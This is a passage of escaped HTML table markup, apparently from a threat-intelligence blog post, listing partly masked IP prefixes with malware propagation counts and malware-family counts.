#C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23, TCP2323</span></p>\n </div>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">3,807</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/10.PNG"}],["html",{"html":"<div align=\"center\">\n\n<table class=\"MsoTable15Grid4Accent3\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\" width=\"0\" style=\"width:262.45pt;border-collapse:collapse;border:none;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt\">\n <tbody><tr style=\"mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;\n height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"top\" style=\"width:93.3pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;\n mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:5\"><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">IP</span></b><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";\n mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">地址</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;\n mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"top\" style=\"width:70.9pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">传播次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"top\" style=\"width:98.25pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">恶意软件家族</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">152.136.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">22,986<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">5<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">81.70.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">18,495<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">4<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">101.35.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">13,444<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">6<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">180.76.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">12,336<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">5<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">42.193.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">11,948<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">4<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">106.12.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">11,432<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">4<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">118.195.</span><span lang=\"EN-US\">*.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">9,934<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">4<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\" style=\"color:black\">121.4.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">8,482<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\" style=\"color:black\">6<o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:9.9pt\">\n <td width=\"124\" nowrap=\"\" valign=\"bottom\" style=\"width:93.3pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\" style=\"color:black\">118.195.</span><span lang=\"EN-US\"> *.*<span style=\"color:black\"><o:p></o:p></span></span></b></p>\n </td>\n <td width=\"95\" nowrap=\"\" valign=\"bottom\" style=\"width:70.9pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">8,293<o:p></o:p></span></p>\n </td>\n <td width=\"131\" nowrap=\"\" valign=\"bottom\" style=\"width:98.25pt;border-top:none;\n border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:\n accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;\n mso-border-right-themecolor:accent3;mso-border-right-themetint:153;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;\n mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:\n solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;\n background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:\n 51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\" style=\"color:black\">4<o:p></o:p></span></p>\n </td>\n </tr>\n <tr 